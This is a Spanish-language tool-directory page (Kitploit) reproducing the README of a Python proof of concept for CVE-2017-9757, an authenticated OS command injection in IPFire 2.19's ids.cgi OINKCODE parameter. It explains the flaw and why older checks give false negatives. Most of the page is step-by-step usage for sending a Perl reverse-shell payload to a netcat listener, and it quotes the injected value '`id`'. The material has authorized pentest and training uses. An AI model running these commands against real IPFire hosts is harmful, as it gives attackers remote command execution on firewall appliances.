Skip to content
KitploitKITPLOIT
HerramientasBlog
Log in
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
IPFire_2.19_RCE_Authenticated — Este exploit se basa en CVE-2017-9757 y fue construido sobre el exploit original de 0x09AL. | Kitploit
Herramientas/GitHubGitHub/joaoaugustom/ipfire_2.19_rce_authenticated
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitHubjoaoaugustom/ipfire_2.19_rce_authenticated

IPFire_2.19_RCE_Authenticated

Este exploit se basa en CVE-2017-9757 y fue construido sobre el exploit original de 0x09AL.

Ver Repositorio
14hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

IPFire 2.19 OINKCODE RCE PoC

Prueba de concepto en Python para la vulnerabilidad de inyección de comandos autenticada en la página ids.cgi de IPFire 2.19 a través del parámetro OINKCODE.

Solo para pruebas de seguridad autorizadas y laboratorios de formación. Ejecute este PoC únicamente contra sistemas que le pertenezcan o para los que tenga permiso explícito de prueba. El autor no es responsable del uso indebido o de los daños causados por este código.

Descripción general de la vulnerabilidad

IPFire 2.19 es vulnerable a la inyección de comandos del sistema operativo en el parámetro OINKCODE procesado por /cgi-bin/ids.cgi. El parámetro se incorpora a un comando shell sin una neutralización adecuada, lo que permite que un usuario autenticado ejecute comandos en el host IPFire.

La vulnerabilidad se identifica comúnmente como CVE-2017-9757 y se corresponde con CWE-78: Neutralización incorrecta de elementos especiales utilizados en un comando del sistema operativo ('Inyección de comandos del sistema operativo').

El PoC público original se probó contra IPFire 2.19 Core Update 110. El módulo de Metasploit considera que las versiones hasta IPFire 2.19 con Core Update 110 están dentro de su rango de comprobación admitido.

Por qué se creó este PoC

El PoC original en Python de Exploit-DB realiza una solicitud de verificación usando:

OINKCODE = '`id`'

Luego declara que el objetivo es vulnerable solo si la respuesta HTTP contiene:

uid=99(nobody)

Esa validación no es fiable. El comando puede ejecutarse mientras su salida es consumida por el comando shell construido por la CGI, en lugar de reflejarse en la respuesta HTML devuelta al cliente. Como resultado, el servidor puede devolver una página HTTP 200 normal sin incluir la salida de id, lo que produce un falso negativo.

Esta implementación sigue la lógica de validación utilizada por el módulo de Metasploit:

  1. Solicitar /cgi-bin/pakfire.cgi con autenticación básica HTTP.
  2. Extraer la versión de IPFire y el Core Update de la respuesta.
  3. Tratar IPFire <= 2.19 y Core Update <= 110 como aparentemente vulnerables.
  4. Enviar el payload de comando a /cgi-bin/ids.cgi en el campo OINKCODE.
  5. Tratar una respuesta distinta de 200 como una solicitud rechazada o un problema de autenticación.
  6. No inspeccionar el cuerpo HTML en busca de uid=99(nobody).

El PoC también utiliza un payload de shell de comandos en Perl, que coincide con la familia de payloads de comando admitida por el módulo de Metasploit. Una respuesta HTTP correcta no prueba, por sí misma, que el reverse shell se haya conectado; también deben verificarse el listener y la ruta de red.

Diferencias entre los exploits de origen

CaracterísticaExploit-DB 42149 Python PoCExploit-DB 42369 / MetasploitEste PoC
Endpoint vulnerable/cgi-bin/ids.cgi/cgi-bin/ids.cgi/cgi-bin/ids.cgi
Comprobación de versiónNingunaGET /cgi-bin/pakfire.cgiMisma comprobación estilo Metasploit
AutenticaciónAutenticación básicaCabecera de autenticación básicaAutenticación básica mediante requests.Session
Validación inicialEjecuta `id` y busca en el cuerpo de la respuestaComprueba la versión y luego envía el payloadComprueba la versión y usa el código de resultado HTTP
Riesgo de falso negativoAlto: depende de que uid=99(nobody) se reflejeEvita la validación del contenido del cuerpoEvita la validación del contenido del cuerpo
Reverse shellBash /dev/tcpPayload de comando Unix de MetasploitShell de comando Perl IO::Socket::INET
Gestión de TLSVerificación de certificados deshabilitada en el PoCSSL habilitado por defectoLa verificación solo se deshabilita con -k/--insecure
ConfiguraciónLos valores se editan en el código fuenteOpciones de MetasploitArgumentos de línea de comandos

El criterio de éxito importante del módulo de Metasploit es que un código de respuesta inesperado indica credenciales no válidas o una solicitud rechazada. No requiere que el cuerpo de la respuesta contenga la salida del comando inyectado.

Requisitos

  • Python 3
  • requests
  • Credenciales válidas de IPFire con acceso a la interfaz web
  • Un intérprete de Perl en el objetivo, normalmente disponible como perl
  • Un listener accesible desde el host IPFire

Instale la dependencia de Python:

python3 -m pip install requests

Uso

1. Comprobar solo la versión del objetivo

python3 ipfire_oinkcode_rce.py \
  --target 192.0.2.10 \
  --web-port 444 \
  --username admin \
  --lhost 192.0.2.20 \
  --check-only \
  --insecure

La contraseña se solicita de forma interactiva cuando no se proporciona --password. Esto es recomendable porque poner una contraseña directamente en un comando puede exponerla a través del historial del shell o de la lista de procesos.

2. Iniciar un listener

Use un listener en la dirección y el puerto proporcionados como --lhost y --lport:

rlwrap nc -lvnp 4444

Si rlwrap no está instalado, use:

nc -lvnp 4444

3. Enviar el payload de reverse shell en Perl

python3 ipfire_oinkcode_rce.py \
  --target 192.0.2.10 \
  --web-port 444 \
  --username admin \
  --lhost 192.0.2.20 \
  --lport 4444 \
  --insecure

Para el certificado HTTPS autofirmado habitual de IPFire, se requiere --insecure/-k. Úselo solo cuando la verificación de certificados no sea posible de forma intencionada en el laboratorio.

URL completa en lugar de host y puerto

El objetivo también puede proporcionarse como una URL base completa:

python3 ipfire_oinkcode_rce.py \
  --target https://192.0.2.10:444 \
  --username admin \
  --lhost 192.0.2.20 \
  --lport 4444 \
  --insecure

Omitir la identificación de versión

Use esto solo cuando la versión de IPFire ya se haya confirmado de forma independiente:

python3 ipfire_oinkcode_rce.py \
  --target 192.0.2.10 \
  --web-port 444 \
  --username admin \
  --lhost 192.0.2.20 \
  --lport 4444 \
  --skip-version-check \
  --insecure

Especificar una ruta de Perl diferente

Si Perl no está en el PATH predeterminado del objetivo, proporcione su ruta absoluta:

--perl-path /usr/bin/perl

Opciones de línea de comandos

OpciónPor defectoDescripción
-t, --targetObligatorioHost/IP de destino o URL base completa
--schemehttpsEsquema utilizado cuando el objetivo es solo un host/IP
--web-port444Puerto de la interfaz web de IPFire
-u, --usernameadminNombre de usuario de IPFire
-p, --passwordSolicitudContraseña; omítala para introducirla sin eco
--lhostObligatorioDirección del listener accesible desde IPFire
--lport4444Puerto del listener
--perl-pathperlEjecutable de Perl en el objetivo
--timeout10Tiempo de espera HTTP en segundos
-k, --insecureDeshabilitadoDeshabilitar la verificación del certificado TLS
--skip-version-checkDeshabilitadoOmitir la comprobación de pakfire.cgi
--check-onlyDeshabilitadoRealizar solo la comprobación de versión

Interpretación de la salida

HTTP 200 desde ids.cgi

Esto significa que la solicitud HTTP fue aceptada por la CGI según el mismo criterio práctico utilizado por el módulo de Metasploit. Una respuesta HTML normal es lo esperado y no es prueba de que la comprobación de vulnerabilidad haya fallado.

Compruebe el listener en busca del shell. Si no llega ningún shell, investigue la dirección de callback, el enrutamiento, las reglas de salida del firewall, la disponibilidad de Perl y el puerto seleccionado.

HTTP 401 o HTTP 403

Descargar herramienta